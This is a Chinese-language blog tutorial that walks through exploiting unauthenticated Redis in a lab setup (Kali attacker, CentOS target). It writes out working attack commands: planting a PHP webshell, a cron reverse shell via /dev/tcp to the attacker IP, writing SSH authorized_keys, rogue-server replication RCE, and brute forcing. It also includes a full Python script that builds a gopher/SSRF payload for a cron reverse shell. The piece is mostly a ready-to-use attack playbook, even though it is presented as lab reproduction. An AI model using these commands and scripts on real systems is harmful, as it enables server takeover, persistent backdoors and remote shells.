Redis漏洞【总结】未授权访问复现与利用

【Linux】安装httpd+php

一、安装redis服务

kali:192.168.100.23

靶机(centos):192.168.100.20

靶机(centos)安装redis服务

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

(如果下载不下来的话:http://distfiles.macports.org/redis/)

解压安装包:tar xzf redis-2.8.17.tar.gz
在这里插入图片描述

进入redis目录:cd redis-2.8.17安装:make
在这里插入图片描述
在这里插入图片描述
make结束后,进入src目录:cd src,
将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

cp redis-server /usr/bin/
cp redis-cli /usr/bin/

在这里插入图片描述
返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

cp redis.conf /etc/

在这里插入图片描述
使用/etc/目录下的reids.conf文件中的配置启动redis服务:

redis-server /etc/redis.conf

在这里插入图片描述

kali安装redis服务和上图一样。

二、漏洞复现

2.1——写入webshell

要求

成功连接redis服务器

知道web根目录的绝对路径

redis服务器用户有写入权限

攻击机登录靶机的redis服务

在这里插入图片描述

目标:在服务器端/var/wwww/html/web目录下写入webshell

CONFIG SET dir "/var/www/html/"  //chang database file location

CONFIG SET dbfilename qidao.php       //change database file name

set x "<?php phpinfo();?>"         //inject shell payload into database

save          //save database to file

在这里插入图片描述
成功写入
在这里插入图片描述

2.2——计划任务反弹shell

要求:

centos服务主机(其他类型的系统,如ubuntu、Debian 由于redis写到计划任务中的命令总会不可避免的出现乱码,而只有centos主机会忽略乱码继续执行)

kali上开启端口监听
在这里插入图片描述
kali登录redis服务,并写入计划任务。

CONFIG SET dir /var/spool/cron

CONFIG SET dbfilename root

set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.23/6666 0>&1\n\n"

save

在这里插入图片描述
成功反弹shell
在这里插入图片描述

2.3——写入公钥远程连接

CONFIG SET dir /root/.ssh
CONFIG SET dbfilename "authorized_keys"
save
CONFIG GET dir
CONFIG GET dbfilename
save
记得设置后,一定要保存

在这里插入图片描述
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

靶机中开启redis服务:redis-server /etc/redis.conf

在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的)

在攻击机中生成ssh公钥和私钥,密码设置为空:

本地生成公私钥文件

ssh-keygen -t rsa

一路回车和y
在这里插入图片描述
进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:

这里说一下,公私钥会生成在用户/.ssh我这里用的是root用户,所以就进入 /root/.ssh

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

在这里插入图片描述
链接靶机上的redis服务,

将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

cat /root/.ssh/1.txt | redis-cli -h 192.168.100.20 -x set tide

在这里插入图片描述
远程登录靶机的redis服务:redis-cli -h 192.168.100.20

并使用 CONFIG GET dir 命令得到redis备份的路径:

CONFIG GET dir

在这里插入图片描述
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

CONFIG SET dir /root/.ssh

在这里插入图片描述
设置上传公钥的备份文件名字为authorized_keys:
然后保存

CONFIG SET dbfilename "authorized_keys"

在这里插入图片描述
检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,

至此成功写入ssh公钥到靶机:

在这里插入图片描述
在攻击机上使用ssh免密登录靶机:

ssh -i id_rsa root@192.168.100.20

在这里插入图片描述

2.4——主从复制RCE(Linux)

先来看看什么是redis主从复制

redis为了应对读写流量大的情况时,增加了主从模式,此时,会有一个redis服务器作为主机,其他从属这台主机的redis服务器作为备份机,主机只负责写,从机负责来读,这样就大大减轻了redis主机的读写负担。

利用条件。

redis从4.x版本之后加入了新的模块,通过外部拓展,可以实现在一个redis中实现新的Redis命令的功能,通过写c语言并编译出.so文件

redis:4.x - redis:5.0.5

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到 从机

上。然后在从机上加载so恶意文件,就可以拓展新命令

主从同步示例

这边开两台redis_docker

redis 5.0.4的测试环境已搭好上传至dockerhub 有需要的:docker pull beglage/centos_redis_5

从dockerhub上拉取镜像
docker pull beglage/centos_redis_5
查看本地docker镜像
docker images

在这里插入图片描述
启动第一个redis——docker容器

docker run -td --name redis -p 6378:6379 --privileged=true --rm beglage/centos_redis_5 /sbin/init

在这里插入图片描述
启动第二个redis——docker容器

docker run -td --name redis2 -p 6377:6379 --privileged=true --rm beglage/centos_redis_5 /sbin/init

在这里插入图片描述
查看docker容器

docker ps

在这里插入图片描述
我们先来看看这2个docker容器的ip

docker exec -it a040056d75d3 /bin/bash
docker exec -it 5a7971dcfa1c /bin/bash

在这里插入图片描述
然后通过slaveof可以设置主从状态(同步状态),这样一来数据就会自动同步了

redis-cli -h 172.17.0.2
redis-cli -h 172.17.0.3
redis-cli -h 172.17.0.2
SLAVEOF 172.17.0.3 6379
get c
redis-cli -h 172.17.0.3
get c
redis-cli -h 172.17.0.3
set c 1
get c
redis-cli -h 172.17.0.2
get c

在这里插入图片描述

环境搭建好后,我们现在来复现。

复现环境

kali:192.168.100.34

redis-dokcer1:172.17.0.2

redis-dokcer2:172.17.0.3

有下图可以知道,172.17.0.2是属于172.17.0.3,那么172.17.0.2就是从机,我们攻击从机就行了
在这里插入图片描述

网上收集两个比较方便的getshell python脚本
漏洞利用1-1
https://github.com/n0b0dyCN/redis-rogue-server

python3 redis-rogue-server.py --rhost 172.17.0.2 --lhost 192.168.100.34

在这里插入图片描述
漏洞利用1-2
https://github.com/n0b0dyCN/redis-rogue-server
kali先开启监听
在这里插入图片描述

python3 redis-rogue-server.py --rhost 172.17.0.2 --lhost 192.168.100.34

在这里插入图片描述
反弹shell成功
在这里插入图片描述

漏洞利用2
https://github.com/Ridter/redis-rce

在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码 https://github.com/RicterZ/RedisModules-ExecuteCommand
因为编写恶意so文件代码的文件莫得了,我这里就借下图。
在这里插入图片描述
反弹到其他服务器:
在这里插入图片描述

2.5——redis密码暴力破解

redis开启密码验证。
https://itbilu.com/linux/management/Ey_r7mWR.html

vi /etc/redis.conf

找到这一行,去掉#号

在这里插入图片描述

添加-a参数可以指定密码访问
在这里插入图片描述
使用msf的auxiliary/scanner/redis/redis_login模块,配置攻击目标

在这里插入图片描述

2.6——Windows自启动

敬请期待。

2.7 ssrf、redis与gopher

如果通过ssrf探测到内网某ip开启了6379端口,并存在未授权,如何结合gopher协议来写shell。

gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher的默认端口是70

如果发起post请求,回车换行需要使用%0d%0a,如果存在多个参数,参数之间的&也需要进行URL编码。注意%0d%0a是\r\n的URL编码。

gopher发送请求HTTP GET请求:

curl gopher://192.168.194.1:6666/_abcd

注意:abcd是要传递的数据,_会被吃掉不会传递过去

由于gopher协议规则比较复杂,这里借助一个github的工具来生成payload:https://github.com/firebroo/sec_tools

只需要在redis-over-gopher/redis.cmd中写入redis执行的命令,比如下面的命令直接在web目录下写shell

flushall
config set dir /var/www/html
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

编辑好后运行redis-over-gopher/redis-over-gopher.py

python redis-over-gopher.py

就可以生成支持gopher协议的payload:
使用curl运行payload:(生成的编码把ip改成靶机ip就行了
在这里插入图片描述
成功写入。
在这里插入图片描述
注:需要将内容再进行一次url编码传到web的参数中才会正常运行

使用ssrf端口探测的时候,不要拘泥于http协议,还可以使用dict协议来进行探测

利用gopher协议反弹shell

/*gopher协议反弹shell利用脚本*/
import urllib
protocol="gopher://"
ip="192.168.100.23"
port="6379"
reverse_ip="192.168.100.34"
reverse_port="6666"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
   "set 1 {}".format(cron.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]
if passwd:
  cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
  CRLF="\r\n"
  redis_arr = arr.split(" ")
  cmd=""
  cmd+="*"+str(len(redis_arr))
  for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  cmd+=CRLF
  return cmd

if __name__=="__main__":
  for x in cmd:
    payload += urllib.quote(redis_format(x))
  print payload

攻击机开启监听
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参考文章:
https://paper.seebug.org/975/
https://www.cnblogs.com/bmjoker/p/9548962.html
https://blog.csdn.net/weixin_43252204/article/details/115181128?utm_source=app&app_version=4.5.4

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值